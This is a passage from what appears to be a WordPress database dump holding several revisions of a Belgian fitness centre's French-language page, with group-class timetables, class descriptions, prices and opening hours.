dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:49:22', '2013-07-03 16:49:22', '', 11, 'http://www.crosstrainingcenter.be/?p=176', 0, 'revision', '', 0),
(183, 1, '2013-07-03 17:18:16', '2013-07-03 17:18:16', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;LUNDI&lt;/td&gt;\r\n&lt;td &gt;MARDI&lt;/td&gt;\r\n&lt;td &gt;MERCREDI&lt;/td&gt;\r\n&lt;td &gt;JEUDI&lt;/td&gt;\r\n&lt;td &gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td &gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:18:16', '2013-07-03 17:18:16', '', 11, 'http://www.crosstrainingcenter.be/?p=183', 0, 'revision', '', 0),
(177, 1, '2013-07-03 16:53:51', '2013-07-03 16:53:51', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 